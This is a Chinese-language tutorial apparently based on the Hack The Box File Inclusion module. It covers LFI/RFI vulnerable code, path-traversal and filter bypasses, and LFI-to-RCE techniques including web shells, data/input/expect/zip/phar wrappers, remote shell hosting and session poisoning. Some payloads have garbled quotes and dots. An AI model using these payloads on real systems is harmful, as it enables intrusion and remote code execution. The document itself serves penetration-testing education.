Hack The Box - File Inclusion Module详细讲解中文教程

目录
File Inclusion简介
Local File Inclusion(LFI)简介
一般的漏洞代码形式
1.1PHP
1.2NodeJS
1.3Java
1.4.NET
LFI漏洞攻击方法讲解
1.1 基本的LFI攻击方法
1.2目录遍历(Path Traversal)
LFI基本的绕过方法
1.1非递归路径遍历的过滤绕过
1.2编码绕过
1.3合法路径绕过
1.4文件后缀名添加绕过
PHP Filters
模糊测试(Fuzzing for php files)
标准的php 文件包含
LFI to RCE技术讲解
1.1PHP Wrappers
1.2RFI(远程文件包含)
1.3LFI漏洞在文件上传中的利用
1.4Log Poisoning技术讲解
自动化工具讲解
实战训练

File Inclusion简介

目前,大部分web应用基本使用动态脚本语言编写,例如:php,javascript,java或者使用一些语言的框架例如:NodeJs, .Net等,由于开发人员在编写web应用的过程中可能疏忽了当动态页面加载时,对用户的输入未能进行检查,导致LFI漏洞的产生,使攻击者可以构造特殊的指令,进而可以读取后端服务器上的文件,然后进一步可获取到RCE来执行他们输入的指令

Local File Inclusion(LFI)简介

LFI漏洞一般发生在动态加载到当前页面的地方(模板引擎),通常在web应用的导航栏切换地方的url的一个参数上,表现形式是,当我们改变这个参数的内容时,页面加载的内容会发生改变,例如:”/index.php?page=”,指定不同的参数值,加载的内容就会不一样,当我们指定”/index.php?page=index”,就会加载渲染index.php内容到当前页上,当我们改变”/index.php?page=about”,就会加载渲染about.php内容到当前页上,如果这个位置存在LFI漏洞,我们就可以读取文件的源代码,甚至获取到RCE,达到远程执行代码的目的,如果源代码存在其他漏洞我们就可以利用来完成我们的目的,特定条件下甚至可以执行远程服务器上的代码,与指定服务器进行连接,获取到计算机的shell

一般的漏洞代码形式

来看看漏洞是怎么发生的,在一些动态脚本语言上和一些动态语言的开发框架上的具体表现:

1.1PHP

在php中我们通常使用include()函数来加载一个本地的文件或者远程的文件到当前页面上去,如果web应用没有对include()函数的参数进行检查和过滤,或者进行了检查和过滤,但是可以通过特殊构造绕过,那么LFI漏洞就会发生了
例如:

if (isset($_GET['page'])) {
    include($_GET['page']);
}

我们看到page参数没有进行任何检查,直接作为include()函数的参数输入,所以在这里我们就可以直接利用page参数来包含本地文件或者远程文件,php中类似函数如下:
在这里插入图片描述

1.2NodeJS

在NodeJS中,类似PHP中,动态加载页面还是基于http的参数,下面是个最单的一个GET请求,加载指定页面到当前页
例如:
Javascript code:

if(req.query.page) {
    fs.readFile(path.join(__dirname, req.query.page), function (err, data) {
        res.write(data);
    });
}

我们可以发现NodeJS通过readFile()函数获取我们”?page=”,参数的值,然后通过write()函数把文件内容写入到http response中,加载到当前页
另一个例子是在Express.js框架中,调用render()函数,加载指定页面到当前页
例如:
Js code:

app.get("/about/:page", function(req, res) {
    res.render(`/${req.params.page}/about.html`);
});

我们发现在Express.js框架中,我们的page参数和之前的表现形式不一样,之前的参数都是”?page”这样的,Express.js框架是通过route方式来获取我们的参数,”/about/page”,上述代码说明render函数加载并渲染”/about/”+”page参数值 ”+”/about.html”页面到当前页
NodeJs中类似函数如下:
在这里插入图片描述

1.3Java

在Java中还是基于http的参数来动态加载页面的,我们看下具体是表现形式
例如:
Jsp code:

<c:if test="${not empty param.page}">
    <jsp:include file="<%= request.getParameter('page') %>" />
</c:if>

Jsp code:

<c:import url= "<%= request.getParameter('page') %>"/>

在jsp中,include()函数,import()函数,提供文件或者URL作为一个参数,然后渲染这个内容到前端模板,显示出来
Java中类似函数:
在这里插入图片描述

1.4.NET

最后,我们看下.NET框架搭建的web应用下LFI漏洞是怎么产生的,他是通过Response.WriteFile()函数,提供一个file path 文件的路径,把内容写入到response中,返回到前端页面,file path 参数通过http参数动态加载页面内容
例如:
cs code:

@if (!string.IsNullOrEmpty(HttpContext.Request.Query['page'])) {
    <% Response.WriteFile("<% HttpContext.Request.Query['page'] %>"); %> 
}

.NET中,@Html.Partial(),include()函数也可以动态加载页面内容并渲染到前端
例如:
cs code:

  1. @Html.Partial(HttpContext.Request.Query['page'])

  2. <!--#include file="<% HttpContext.Request.Query['page'] %>"-->

.NET中类似函数:
在这里插入图片描述

Tips:我们发现有的函数没有执行权限,但是都有读权限,所以我们可以读取文件的源代码,然后,审计代码,做白盒测试,来发现其他存在的漏洞,例如可以发现数据库的秘钥,管理员登录秘钥等等,然后通过一些服务的客户端工具利用获取的秘钥进行远程登录来操控计算机

LFI漏洞攻击方法讲解

1.1 基本的LFI攻击方法

这里以php编写的web应用来讲解,我们假设一个案例场景来进行如下讲解

场景:目标网站以php5.3.4版本语言编写,服务器用Apache来搭建,错误回显启用,网站有一个导航栏,可以动态选择不同语言,来按照选择的语言动态加载相应的内容到前端页面

请求的URL:http://www.lfi.com/index.php?page=

网站结构:
web
├── about
│ └── about.php
├── en.php
├── index.php
└── zh.php

后端php代码:

if (isset($_GET['page'])) {
    include($_GET['page']);
}

那么开始讲解,如果我们选择英文显示页面,那么我们将请求URL
http://www.lfi.com/index.php?page=en.php
如果我们选择中文显示页面,那么我们将请求URL
http://www.lfi.com/index.php?page=zh.php
由此我们发现控制页面显示不同内容的关键就是page参数控制的,当page=en.php,就会动态加载英文显示的内容,如果page=zh.php,就会动态加载中文显示的内容,如果page参数这个地方存在LFI漏洞那么我们就能读取服务器后端上的文件,例如,在linux系统上的”/etc/passwd”文件,在windows系统上的”C:\Windows\boot.ini”文件,所以当我们令”?page=/etc/passwd”,那么我们就后会成功读取到这个文件的内容

1.2目录遍历(Path Traversal)

在我们假设的场景中,上面的是通过include()函数来直接包含我们需要的文件路径的,例如:”/etc/passwd”,我们提供的都是文件在服务器上的绝对路径

1.2.1目录添加

下面我们修改下上述后端的php代码,如下:

if (isset($_GET['page'])) {
    include(./about/.$_GET['page']);
}

当我们再次尝试像之前一样请求”/etc/passwd”文件:
http://www.lfi.com/index.php?page=/etc/passwd
发现页面报错,显示”No Such file or directory in /var/www/html”类似这样的错误提示
这是由于当我们请求http://www.lfi.com/index.php?page=/etc/passwd
这个的时候,后端的php代码通过GET方法获取的page=/etc/passwd,然后include()的参数为”./about//etc/passwd”,当然会发生错误了,因为文件的路径错了,这个时候那我们该怎么办呢,我们可以使用相对路径来绕过对目录的限制从而重新读取到目标文件,在我们的添加文件路径前加上”…/”,这个表示上一层目录,我们知道apache服务器默认的网站的绝对路径是”/var/www/html”,我们的about.php页面在网站根路径下的/about下面,所以about.php的绝对路径是”/var/www/html/about/about.php”,然后我们可以构造服务器的根路径的相对路径了,像这样”…/…/…/…/”,我们就绕过了对目录的限制,这样我们可以再次读取到”/etc/passwd”文件
http://www.lfi.com/index.php?page=…/…/…/…/etc/passwd

Tips:当我们不确定服务器的根目录需要多少”…/”来定位到时候,我们可以尽可能的多写”…/”,当到达服务器的根目录时”…/”只会定位在服务器的根目录上,记住这个特性

1.2.2文件名前缀添加

下面我们再次修改php后端源代码,如下:

if (isset($_GET['page'])) {
    include(”pg_”.$_GET['page']);
}

我们再次尝试用之前的路径遍历的方法,像这样:
http://www.lfi.com/index.php?page=…/…/…/…/etc/passwd
发现页面报错,显示”No Such file or directory in …/…/…/…/etc/passwd”类似这样的错误提示
这是由于当我们请求了page=…/…/…/…/etc/passwd,实际上后端php代码做了这样的处理,”pg…/…/…/…/etc/passwd”,所以自然会出错,因为文件的路径不正确,前面默认添加了一个pg文件前缀,那我们怎么怎么绕过呢,我们可以在我们赋值的参数值前先加上一个”/”符号,然后再添加我们实际访问的文件路径,如下:
http://www.lfi.com/index.php?page=/…/…/…/…/etc/passwd
这样服务器就会强制解析pg/为一个目录,然后我们就能通过 path traveral来读取我们想要的文件

Tips:也许上述请求不能正确执行,由于上述pg/这个目录可能不存在,我们还有其他方法来绕过,例如:PHP Wappers,filters,RFI等,不用担心,我们后续继续讨论

1.2.3文件后缀添加

下面我们再次修改php后端源代码,如下:

if (isset($_GET['page'])) {
    include($_GET['page']..php”);
}

我们再次尝试访问”/etc/passwd”文件,像这样:
http://www.lfi.com/index.php?page=/etc/passwd,发现页面错误,显示”No Such file or directory in /etc/passwd”类似这样的错误提示
这是由于当我们请求了page=/etc/passwd,实际后端php代码做了这样的处理,”/etc/passwd.php”,由于这样的文件不存在,所以发生错误,那我们怎么用一些技术来绕过这样的php代码的处理呢?这个问题我们留着,接下来会详细讲解绕过的方法

1.2.4 二阶攻击

在有些场景中,一个web应用允许我们下载我们的头像图片,并且下载的头像图片是通过我们的用户名username来确定下载的,类似于”/profile/$username/avatar.png”,那么我们就能通过构造username来下载我们指定的文件,例如:”/etc/passwd”,因为网站开发者往往只注意了对用户输入的HTTP 参数,进行检查和过滤,忽略了网站用户的用户名检查,我们就能利用这点来进行攻击,这就是二阶攻击,先通过注册成合法用户,在进行渗透攻击

LFI基本的绕过方法

在之前我们介绍了LFI漏洞一些基本的攻击方法,接下来,我们要讲解一些LFI漏洞的一些防御手段的绕过方法,从而来进行我们的LFI漏洞的攻击,还记得上面我们留下的问题吗?接下来我们就来讲解一些绕过的方法,来完成我们的攻击
1.1非递归路径遍历的过滤绕过
php后端代码如下:

if (isset($_GET['page'])) {
	$page = str_replace(../,’’,$_GET[‘page’]);
	include(./about/.$page);
}

上面的代码可以防御我们之前的路径遍历,例如,我们请求:
http://www.lfi.com/index.php?page=…/…/…/…/etc/passwd
发现页面错误,显示”No Such file or directory in /etc/passwd”类似这样的错误提示,这是当我们请求了” page=…/…/…/…/etc/passwd”,后端的php代码发现我们输入的参数里有”…/”,字符,就会调用str_replace()函数把”发现的…/”字符全部替换成””空,实际最后include()函数包含的路径变成了”/about/etc/passwd”,文件路径不正确,所以出错了,那我们如何绕过呢?我们发现str_replace()并不会递归的替换掉”…/”字符,所以我们可以构造子字符串在原来的字符串中,利用这个防御机制,例如我们可以构造”….//….//….//….//etc/passwd”或者”…/./…/./…/./…/./etc/passwd”,当我们请求我们构造好的请求是,实际的请求就会变成正确的” …/…/…/…/etc/passwd”,这样就能绕过对输入参数的防御,读取到目标文件

1.2编码绕过

php后端代码如下:

if (isset($_GET['page'])) {
	$page = str_replace(../,’’,$_GET[‘page’]);
	include(./about/.$page);
}

上面php后端代码当发现输入的参数里有”…/”这个字符的时会替换为””空,1.1中我们通过构造多重”…/”字符串绕过了对我们输入字符的过滤,在这里我们可以通过对字符进行URL编码绕过,”…/”进行URL编码为”%2e%2e%2f”,从而绕过对”…/”特殊字符的过滤,最终来读取到我们的目标文件

Tips:php中的URL编码绕过,适用于php 5.3.4和之前的php版本,还有些开发者自己编写的过滤器也能绕过

1.3合法路径绕过

php后端代码如下:

if(preg_match('/^\.\/about\/.+$/', $_GET['page'])) {
    include($_GET['page']);
} else {
    echo 'Illegal path specified!';
}

上述php代码需要匹配到”/about/”然后在去包含文件,例如我们请求
http://www.lfi.com/index.php?page=about.php
发现页面错误,显示”No Such file or directory in /var/www/html”类似这样的错误提示,那我们该怎么绕过呢,我们必须知道about.php文件所在目录,所以我们可以在当前路径下进行fuzz 测试,直到找到匹配,经过测试我们发现”about.php”在”/about/”目录下,所以最终我们的请求是这样的:
http://www.lfi.com/index.php?page=./about/…/…/…/etc/passwd
获取到我们的目标文件

1.4文件后缀名添加绕过

php后端代码如下:

if (isset($_GET['page'])) {
    include($_GET['page']..php”);
}

针对PHP5.3/5.4和之前的PHP版本有效,在本场景中方法有效,我们继续讲解
对于后缀名绕过一般有两种方法,下面我们一一介绍

1.4.1路径截断(Path Truncation)

我们需要知道php5.3还有之前的版本,php语言定义的字符串的最大长度为4096个字符,超多这个长度,超过的字符将被截断,另外我们还需知道php语言会移除在path路径后的”/.”这个字符,例如,”/etc/passwd/./././”等同于”/etc/passwd”
还有Linux系统中”etc/passwd”等同于”/etc/passwd”,所以,我们可以填充字符让其达到4096字符长度,来截断字符,从而绕过文件后缀添加的防御,需要注意的是我们需要添加一个不存在的目录,然后利用字符填充达到4096字符长度,截断字符,这一点需要注意,否则不会工作,构造payload如下:
?page=non_existing_directory/…/…/…/etc/passwd/./././.[./ REPEATED ~2048 times]
我们不可能手动输入2048次”/.”这两个字符,所以我们可以写个脚本直接跑出结果,如下:

echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done

执行完,结果如下:
non_existing_directory/…/…/…/etc/passwd/./././././././
这样我们就能构造payload,来达到截断文件后缀”.php”的目的,从而可以读取到我们的目标文件”/etc/passwd”

我们还可以像这样添加”…/…/[…/…/…/]…/etc/passwd”当字符达到4096个字符长度时就会截断文件后缀,从而读取到我们的目标文件,注意这种方法的话有一个点需要注意,要保证在”.php”发生截断时,刚好前面是”/etc/passwd”字符串才行,所以这种方法需要计算前面到底要插入多少个”…/”才行

1.4.2空字节截断绕过%00(NULL Bytes)

针对含php5.5和之前的版本,这是由于字符串存放在内存中,通常以一个空字节作为字符串结尾,表明这个字符串结束,我们可以根据这个特点构造payload如下:
“/etc/passwd%00”,这样就直接截断字符串,文件后缀就会直接丢弃,这样我们就能绕过php对文件后缀名的防御,直接读取我们的目标文件

PHP Filters

我们需要知道php提供了多种操作I/O steams的方法php://filter是其中的一种方法,允许我们通过操作这个php 拓展方法来获取源文件,当web应用存在LFI漏洞的时候。我们就可以利用这个方法来获取源脚本文件,来进行代码审计,从而发现漏洞加以利用,利用LFI漏洞配合如下方法:
”php://filter/read=convert.base64-encode/resource=”
这样我们就获取到需要的源文件
例如page这个位置存在LFI漏洞,并且后端php代码如下:

if (isset($_GET['page'])) {
    include($_GET['page']);
}

我们就可以这样构造:
http://www.lfi.com/index.php?page=”php://filter/read=convert.base64-encode/resource=index.php
这样我们就能拿到index.php这个源文件,然后通过代码审计内部的php代码,进而找到web应用的漏洞,完成攻击

Tips:注意这里获取到的是base64编码的内容,获取到编码的文件内容后,我们需要进行”base64解码,从而查看到源文件的内容,通常在终端下执行如下命令获取解码后的内容:

curl -s http://www.lfi.com/index.php?page=”php://filter/read=convert.base64-encode/resource=index.php | base64 -d

这样我们就能拿到index.php的源文件,进行后续处理
模糊测试(Fuzzing for php files)
当我们做渗透测试一个目标网站时,一般如果在网站上没有明显发现一些可疑的点的情况下,通常我们需要先进行fuzz 测试,来扫描当前网站目录下有哪些文件,这里我们需要使用到ffuf或者gobuster类似这样的工具,进行fuzz模糊测试,来扫描出可疑文件,这里对上述两种工具不进行详细讲解,感兴趣的同学们可自己研究,具体讲解后续会出专题进行详细讲解,这里只是简单的利用,来fuzz当前网站目录下有哪些php文件,命令如下:

ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://www.lfi.com/FUZZ.php

扫描结果类似如下:
index [Status: 200, Size: 2652, Words: 690, Lines: 64]
config [Status: 302, Size: 0, Words: 1, Lines: 1]

当我们扫描出这些文件后,我们就可以搭配之前php://filter方法来获取源文件的内容,进行代码审计,进而发现存在的漏洞,进行攻击

Tips:SecLists这个工具包对WEB渗透非常有用,包含大量有用的字典可以使用,搭配我们的工具使用效果非常好
SecLists下载地址:https://github.com/danielmiessler/SecLists.git
标准的php 文件包含
之前我们通过LFI漏洞包含的php 文件,都被执行,最终被渲染成一个HTML文件显示出来,但有些.php文件它不能被渲染显示出来,例如:config.php文件,这样的文件web应用是不会渲染出来的,它只是web应用的配置文件,不是标准的php文件,所以不会被渲染出来,那么我们该怎么办呢?我们就想到可以利用php://filter方法读取源文件的内容,不就可以了,

例如page这个位置存在LFI漏洞,并且后端php代码如下:

if (isset($_GET['page'])) {
    include($_GET['page']);
}

命令如下:

curl -s http://www.lfi.com/index.php?page=”php://filter/read=convert.base64-encode/resource=config.php | base64 -d

这样我们就能获取到config.php这个源文件的内容,进而进行代码审计,发现一些有用信息,进行利用

LFI to RCE技术讲解

上述已经讲解过通过LFI漏洞利用可以读取我们想要的目标文件的内容,接下来我们开始讲解怎样通过获取到的LFI漏洞,然后进一步的获取RCE,来执行我们指令

1.1PHP Wrappers

1.1.1 Data

data wrapper通常用来包含一些额外的数据,比如php code,注意data wrapper需要在php 的配置文件里开启”allow_url_include”设置,所以我们需要使用的这个方法前,必须判断出php 配置文件里有没有开启这个功能,我们就可以利用之前找到的LFI漏洞来读取这个php的配置文件,进行查看

php配置文件默认路径:
apache服务器上:”/etc/php/X.Y/apache2/php.ini”
nginx服务器上:”/etc/php/X.Y/fpm/php.ini”

Tips: X.Y是php的版本,例如:7.4,7.3等,需要判断出php的版本信息

以之前假设的场景为背景,利用LFI获取RCE最后执行系统的id命令,讲解具体的方法

获取这个配置”php.ini”文件的方法如下:
先利用php://filter读取配置源文件,命令如下:

curl -s http://www.lfi.com/index.php?page=php://filter/read=convert.base64-encode/resource=/etc/php/5.3/apache2/php.ini

结果如下:

<!DOCTYPE html>

<html lang="en">
...SNIP...
 <h2>Containers</h2>
    W1BIUF0KCjs7Ozs7Ozs7O
    ...SNIP...
    4KO2ZmaS5wcmVsb2FkPQo=
<p class="read-more">

我们获取到这个配置文件的内容是base64编码的,所以下一步,我们需要解码文件内容,进行查询有无开启”allow_url_include”设置,命令如下:

echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include

结果如下:
allow_url_include = On

说明”allow_url_include”已经开启,现在我们就可以利用”data”方法来获取RCE,执行我们的命令,默认情况下一般这个设置是关闭的,请注意

现在我们需要编写一个web shell,然后进行base64编码,最后利用data执行我们编写的php code,命令如下:

这里我们编写一个最基础的web shell,然后用base64进行编码,如下:

echo '<?php system($_GET[‘cmd’]); ?>' | base64

结果如下:
PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==

最后,我们构造payload,如下:

curl -s http://www.lfi.com/index.php?page=data://text/plain;base64, data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id'

结果如下:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

OK,这样就成功执行我们输入的命令了

1.1.2Input

类似于data wrapper,input wrapper也能包含额外的输入数据,来获取RCE,区别在于Input wrapper 方法用于POST提交数据,data wrapper用于GET提交数据,如果LFI漏洞允许HTTP POST提交request请求的话,这样我们就可以利用这个方法获取RCE,注意Input wrapper方法也需要php开启”allow_url_include”设置

命令如下:

curl -s -X POST --data '<\?php system($_GET['id']); ?>'  “http://www.lfi.com/index.php?page=php://input”

结果如下:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

这样我们也成功获取到了RCE,执行我们的命令

1.1.3Expect

我们也可以利用”expect wrapper”方法,允许我们直接执行命令,expect wrapper不需要我们手动编写一个web shell ,而是可以直接执行我们输入的命令,注意,expect wrapper方法并不是php 内置的,需要在服务器后端安装并启用,才能使用,所以这个方法的使用只适合一个特定的场景中,因为需要满足的条件比较多,我们可以通过查看php的配置文件php.ini,查看是否开启expect设置,方法如下:

echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect

结果如下:
extension=expect

说明php启用了expect,这样我们就能利用LFI获取RCE,来执行我们的输入的命令

命令如下:

curl -s “http://www.lfi.com/index.php?page=expect://id”

结果如下:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

这样我们也成功获取到了RCE,执行我们的命令

1.1.4phar和zip(文件归档)

phar和zip方法使用的场景是目标网站存在LFI漏洞,并且网站有允许用户上传文件的功能,这样我们就能利用两种方法来获取到RCE,这里先不做讲解,后面小结会进行详细讲解

1.2RFI(远程文件包含)

到目前为止,我们讲解的都是本地文件包含(LFI)漏洞的利用,在其他一些场景中,我们还可以使用远程文件包含(RFI),如果一个存在漏洞的函数允许我们远程包含一个URL,那我们就可以构造payload让漏洞函数包含它,来获取RCE

还记得之前我们介绍了一些函数吗,他们有的允许提供一个remote url 作为参数,这里在强调一下,列出如下:
在这里插入图片描述

Tips:存在RFI漏洞的Web应用一定是存在LFI漏洞的,反之不一定,因为有些函数不允许远程URL
1.2.1验证RFI漏洞存在方法
在PHP语言中,远程URL包含通常需要在php.ini配置文件中启用”allow_url_include”设置,我们可以通过之前学过的技术,利用LFI漏洞查看php.ini配置文件,看这个设置是否开启,这只是一点,然而,有时候,可以发现即使”allow_url_include”设置启用,漏洞函数也不允许我们提供远程URL作为参数,所以这个依据往往不可靠,最简单,最直观的一种判断方法是,我们可以在发现的LFI漏洞的地方,尝试远程URL,看Web应用给我们返回的内容是什么,从而进行判断这个LFI漏洞是否还是RFI漏洞,我们可以这样做,浏览器访问
如下URL:
http://www.lfi.com/index.php?page=http://127.0.0.1:80/index.php

如果我们发现可以包含index.php到当前页面,并且index.php页面不是以文本内容包含展示出来,而是直接被渲染成HTML页面展示出来,那么就是说明这个LFI漏洞的地方,允许RFI并且还可以执行脚本,那么如果我们包含一个我们构造的payload,那么我们就能获取RCE执行我们输入的命令了,不是吗?

1.2.2利用RFI来获取RCE

以上述php脚本搭建的网站为例,接下来我们看下具体的操纵方法,如下:
一般我们需要在自己的本地机器上开启一个http服务
HTTP服务:

步骤一:
在当前用户目录下创建一个web shell的脚本文件,命令如下:

echo '<?php system($_GET['cmd ']); ?>' > shell.php

步骤二:
本地开启http 服务并且监听(http)80端口或者(https)443端口,这里我们用到的是python3里的一个http.server模块,命令如下:
sudo python3 -m http.server <listen_port>
这样我们就开启一个http server 服务,然后我们浏览器访问我们构造的URL,如下:
http://www.lfi.com/index.php?page=http://<our_ip>:<listen_port>/shell.php&cmd=<command>

当访问成功后,我们发现命令会被执行,就能看到我们执行的结果包含到了当前页面

Payload文件还可以利用其他服务器让目标机器访问到,例如:FTP,SMB服务,下面讲解一下这两个方法的使用

FTP服务:

步骤一:
和上述HTTP服务使用一样,我们需要先编写一个web shell 文件shell.php,我们这这里就直接使用上述这个shell.php文件

步骤二:
本地开启一个FTP服务,监听21端口,这里用到的是python的pyftpdlib模块,命令如下:

sudo python -m pyftpdlib -p 21

这样我们就开启一个ftp server 服务,然后我们浏览器访问我们构造的URL,如下:
http://www.lfi.com/index.php?page=ftp://user:pass@<our_ip>/shell.php&cmd=<command>

当访问成功后,我们发现命令会被执行,就能看到我们执行的结果包含到了当前页面

SMB服务:
如果存在漏洞的web应用是在运行在windows系统的服务器上时,我们就可以利用SMB服务让目标机器远程访问我们的payload文件,从而获取RCE,这里我们利用python的impacket工具包里的smbserver.py模块,在本地开启一个smb 服务
Tips:impacket工具包,是python专门针对windows系统做渗透时常用的
步骤一:
和上述HTTP服务使用一样,我们需要先编写一个web shell 文件shell.php,我们这这里就直接使用上述这个shell.php文件

步骤二:
本地开启一个smb服务,命令如下:

impacket-smbserver -smb2support share $(pwd)

这样我们就开启了一个smb服务,然后我们浏览器访问我们构造的URL,如下:
http://www.lfi.com/index.php?page=\<our_ip>\shell.php&cmd=<command>

当访问成功后,我们发现命令会被执行,就能看到我们执行的结果包含到了当前页面

Tips:smb服务的利用方法,取决于目标机器服务器的配置,通常默认windows 服务器smb服务是关闭的

上述方法能够远程访问我们本地服务器上的文件,前提是必须目标机器与攻击者的计算机必须处于同一网段中,能够互相通信,这点要注意

1.3LFI漏洞在文件上传中的利用

文件上传功能在很多web应用中都存在的,它允许用户上传一些文件,例如用户的头像等,这可以存储用户上传的文件到后端服务器上,对于攻击者来说,我们可以利用这个文件上传的功能,上传我们的payload到服务器上,然后再利用LFI漏洞来执行payload,从而获取到RCE,这里我们不针对文件上传功能的漏洞进行攻击,而是通过文件上传功能,利用LFI漏洞进行攻击,关于文件上传漏洞的攻击我会专门出一个专题详细讲解,这里不做讨论
在这里我们以图片上传为例进行讲解LFI怎么利用文件上传来获取RCE

通常一个web网站图片上传是在用户设置里面,用户的头像上传

我们还是用之前构建的场景,这里添加一个上传页面setting.php,只有一个功能,用户可以点击上传按钮,然后从自己计算机中选择一张gif格式的图片上传上去,上传成功会显示已成功上传文件,如下图:
在这里插入图片描述

上传页面URL:http://www.lfi.com/setting.php
修改后的网站结构如下:
web
├── about
│ └── about.php
├── en.php
├── index.php
└── zh.php
├── setting.php//上传页面
├── upload//上传图片保存目录

后端php代码:

if (isset($_GET['page'])) {
    include($_GET['page']);
}

好的,场景已经搭建完成,现在我们开始讲解利用的方法

1.3.1制作包含payload图片

在制作这个图片文件之前,我们需要了解gif图片格式,程序是怎么判定这是一个gif格式的文件,在gif文件中,文件头用来判断文件的格式,gif的头文件开头是以”GIF8”字符串开头的
来判定这是一个gif格式的文件,像这样的字符,我们叫”magic bytes”,在有些场景中,还会判断文件的后缀名,这里我们以简单场景讲解技术,所以这里我们只判断gif文件的magic bytes是否为”GIF8”,好了现在我们来制作一个gif文件,命令如下:

echo 'GIF8<?php system($_GET['cmd ']); ?>' > shell.gif

OK,这样我们就在当前目录下创建了一个gif文件

Tips:gif文件的magic bytes为ASCII 字符串,其他文件格式的图片,magic bytes需要url 编码

我们已经制作好了一个gif文件,现在回到我们的网站,点击upload,然后选择我们创建的这个gif文件上传,提示文件上传成功,到这里我们已经把含有payload的文件上传到后端服务器上了,接下来我么就要去寻找文件上传的路径,然后利用这个网站存在的LFI漏洞来获取到RCE
对于图片文件我们能很容易的发现它的保存路径,一般通过浏览器打开包含已上传图片的页面,右键查看页面源代码,我们去找’<img src=””>’这样的标签,就能发现图片的保存路径,这里是”<img src=’/upload/shell.gif’>”,好了到这里我们已经找到了这个文件的路径,下面我们就可以利用已存在的LFI漏洞去执行这个文件,来获取到RCE

Tips:一般图片文件会比较容易找到文件的保存路径,对于其他类型的文件,我们可以使用FUZZ工具进行模糊测试,来扫描出我们上传文件的路径

到这里我们已经知道了我们上传文件的路径,接下来我们需要利用LFI漏洞获取RCE,浏览器访问我们构造的URL:
http://www.lfi.com/index.php?page=./upload/shell.gif&cmd=<command>

这样我们就成功利用网站的文件上传功能,然后配合发现的LFI漏洞获取到了RCE,来执行我们输入的命令

我们还有另外两种方法来获取到RCE,还记得之前我们在讲解PHP Wrappers 时,提过的Zip Wrapper和Phar Wrapper吗,这里我们就详细讲解下这两个方法,适用场景之前说过,目标网站存在LFI漏洞并且允许用户上传文件,刚好我们这个修改过的场景就满足这些条件,好了开始我们的讲解

1.3.2Zip Wrapper方法的使用

Zip wrapper方法在PHP配置中默认是关闭的,所以可能这个方法也不是总能成功,如果这个方法可以使用,那么我们就能可以创建一个web shell 把它归档到shell.jpg里面,命令如下:

echo '<?php system($_GET['cmd ']); ?>' > shell.php && zip shell.jpg shell.php

然后上传这个shell.jpg文件

最后我们就可以使用Zip Wrapper方法获取到RCE,命令如下:

http://www.lfi.com/index.php?page=zip://./upload/shell.jpg%23shell.php&cmd=<command>

Tips: zip文件中我们指定它内部的子文件时需要用到”#”来指定,注意,子文件需要URL编码

1.3.3Phar Wrapper方法的使用

Phar 是PHP语言的一个归档文件,我们可以直接使用这个方法来创建一个shell.phar文件,把我们的web shell 归档到这个文件中,然后就可以使用这个方法来获取RCE,代码如下:
“Shell.php”

<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET['cmd']); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$phar->stopBuffering();
?>

编译这个代码,生成phar文件,然后重命名为shell.jpg,命令如下:

php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg

好了,现在我们创建了一个shell.jpg的phar文件,然后上传这个文件
最后,我们就可以使用phar wrapper方法获取RCE,命令如下:

http://www.lfi.com/index.php?page=phar://./upload/shell.jpg%2Fshell.txt&cmd=<command>

Tips:phar文件中我们指定它内部的子文件时需要用到”/”来指定,注意,子文件需要URL编码

1.4Log Poisoning技术讲解

到目前为止,我们介绍的都是在文件中包含我们的payload然后利用漏洞函数拥有执行权限来执行我们的payload,从而获取到RCE,这节我们讲解的方法与上面类似,我们编写一个payload把它包含到一个log 文件中,然后包含我们payload的log 文件去执行,最后我们就能获取到RCE

1.4.1 PHP Session Poisoning

在php编写的web 应用里,通常是通过PHPSESSID cookies 来保存一个用户信息,用来判断这个用户是否登录,这些信息存储在php Session 文件中,这个文件的路径如下:

Linux系统:”/var/lib/php/sessions/”
Windows系统:”C:\Windows\Temp\”

Session文件中保存的这个值是我们的PHPSESSID这个值加上”sess_”前缀组成的,例如:
PHPSESSID Cookies : nhhv8i0o6ua4g88bkdl9u1fdsd
在我们session文件中存储的就是:sess_nhhv8i0o6ua4g88bkdl9u1fdsd

我们可以利用LFI漏洞把我们的payload包含到php session里面,然后利用漏洞函数去执行获取到RCE

这里以上述场景为例,开始讲解利用的方法:
假设我们访问了URL:http://www.lfi.com/index.php?page=en.php,在浏览器中用打开开发者选项(F12快捷键),选择存储标签,我们会看到左边有个cookies选项,点击选中我们就能看到我们当前保存的Cookie的值,如下图所示:
在这里插入图片描述

Tips:这里我们以FireFox浏览器为例讲解

这样我们就可以获取到PHPSESSID的值d98seufvsvdpqu56p13crrvoie
那在服务器上存储的session文件中的值就是sess_ d98seufvsvdpqu56p13crrvoie
接下来我们利用LFI漏洞去访问我们的这个文件,构造URL如下:

http://www.lfi.com/index.php?page=/var/lib/php/sessions/sess_d98seufvsvdpqu56p13crrvoie

结果如下:
selected_page|s:6:“en.php”;preference|s:7:“English”;
我们发现”?page=”这个参数的值被包含到session文件中了,所以我们可以直接在这个位置包含我们的payload,然后在利用LFI漏洞去访问这个文件,不就可以获取到RCE了吗?我们构造一个web shell 给page参数,注意web shell需要进行URL 编码,如下所示:

<?php system($_GET['cmd']); ?>进行URL编码后,如下:

%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E

最后,我们访问我们我们构造的URL,如下:

http://www.lfi.com/index.php?page=/var/lib/php/sessions/sess_d98seufvsvdpqu56p13crrvoie&cmd=<command>

Tips:注意如果你要在执行一个命令时,需要重复上述两步,先把payload包含到session文件中,然后再次访问构造的URL,因为当你已经执行过一条命令后,session文件中就会把最新的一次访问的page参数的值包含到session文件中去

1.4.2Server Log Poisoning

